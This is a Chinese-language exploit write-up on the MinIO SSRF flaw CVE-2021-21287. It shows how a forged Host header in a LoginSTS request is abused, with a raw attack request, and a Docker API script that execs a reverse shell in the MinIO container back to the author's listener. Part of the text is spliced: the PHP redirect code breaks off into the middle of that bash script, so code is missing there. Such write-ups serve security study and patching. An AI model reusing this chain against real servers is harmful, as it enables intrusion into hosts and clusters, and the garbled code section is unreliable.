# MinIO SSRF漏洞 CVE-2021-21287 ## 漏洞描述 随着工作和生活中的一些环境逐渐往云端迁移,对象存储的需求也逐渐多了起来,[MinIO](https://min.io/)就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS S3的协议,也支持作为S3的网关,所以在全球被广泛使用,在Github上已有25k星星。MinIO中存在SSRF漏洞,通过漏洞可以获取敏感信息或远程命令执行 ## 漏洞影响 ``` MinIO ``` ## 漏洞复现 既然我们选择了从MinIO入手,那么先了解一下MinIO。其实我前面也说了,因为平时用到MinIO的时候很多,所以这一步可以省略了。其使用Go开发,提供HTTP接口,而且还提供了一个前端页面,名为“MinIO Browser”。当然,前端页面就是一个登陆接口,不知道口令无法登录。 那么从入口点(前端接口)开始对其进行代码审计吧。 在User-Agent满足正则`.*Mozilla.*`的情况下,我们即可访问MinIO的前端接口,前端接口是一个自己实现的JsonRPC: ![1](./images/202202091232124.png) 我们感兴趣的就是其鉴权的方法,随便找到一个RPC方法,可见其开头调用了`webRequestAuthenticate`,跟进看一下,发现这里用的是jwt鉴权: ![2](./images/202202091232341.png) jwt常见的攻击方法主要有下面这几种: - 将alg设置为None,告诉服务器不进行签名校验 - 如果alg为RSA,可以尝试修改为HS256,即告诉服务器使用公钥进行签名的校验 - 爆破签名密钥 查看MinIO的JWT模块,发现其中对alg进行了校验,只允许以下三种签名方法: ![3](./images/202202091232648.png) 这就堵死了前两种绕过方法,爆破当然就更别说了,通常仅作为没办法的情况下的手段。当然,MinIO中使用用户的密码作为签名的密钥,这个其实会让爆破变地简单一些。 鉴权这块没啥突破,我们就可以看看,有哪些RPC接口没有进行权限验证。 很快找到了一个接口,`LoginSTS`。这个接口其实是AWS STS登录接口的一个代理,用于将发送到JsonRPC的请求转变成STS的方式转发给本地的9000端口(也就还是他自己,因为它是兼容AWS协议的)。 简化其代码如下: ```go // LoginSTS - STS user login handler. func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error { ctx := newWebContext(r, args, "WebLoginSTS") v := url.Values{} v.Set("Action", webIdentity) v.Set("WebIdentityToken", args.Token) v.Set("Version", stsAPIVersion) scheme := "http" // ... u := &url.URL{ Scheme: scheme, Host: r.Host, } u.RawQuery = v.Encode() req, err := http.NewRequest(http.MethodPost, u.String(), nil) // ... } ``` 没发现有鉴权上的绕过问题,但是发现了另一个有趣的问题。这里,MinIO为了将请求转发给“自己”,就从用户发送的HTTP头Host中获取到“自己的地址”,并将其作为URL的Host构造了新的URL。 这个过程有什么问题呢? 因为请求头是用户可控的,所以这里可以构造任意的Host,进而构造一个SSRF漏洞。 我们来实际测试一下,向`http://192.168.227.131:9000`发送如下请求,其中Host的值是我本地ncat开放的端口(`192.168.1.142:4444`): ```plain POST /minio/webrpc HTTP/1.1 Host: 192.168.1.142:4444 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Content-Type: application/json Content-Length: 80 {"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"} ``` 成功收到请求: ![4](./images/202202091232269.png) 可以确定这里存在一个SSRF漏洞了。 仔细观察,可以发现这是一个POST请求,但是Path和Body都没法控制,我们能控制的只有URL中的一个参数`WebIdentityToken`。 但是这个参数经过了URL编码,无法注入换行符等其他特殊字符。这样就比较鸡肋了,如果仅从现在来看,这个SSRF只能用于扫描端口。我们的目标当然不仅限于此。 幸运的是,Go默认的http库会跟踪302跳转,而且不论是GET还是POST请求。所以,我们这里可以302跳转来“升级”SSRF漏洞。 使用PHP来简单地构造一个302跳转: ```php & /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \ echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \ } | bash ``` 这个脚本所干的事情比较简单,一个是遍历了所有容器,如果发现其镜像的名字中包含`minio/minio`,则认为这个容器就是MinIO所在的容器。拿到这个容器的Id,用exec的API,在其中执行反弹shell的命令 [Youtube 演示链接](https://www.youtube.com/embed/WyDEn0wUhPc) 当然,我们也可以通过Docker API来获取集群权限 ## 参考文章 https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html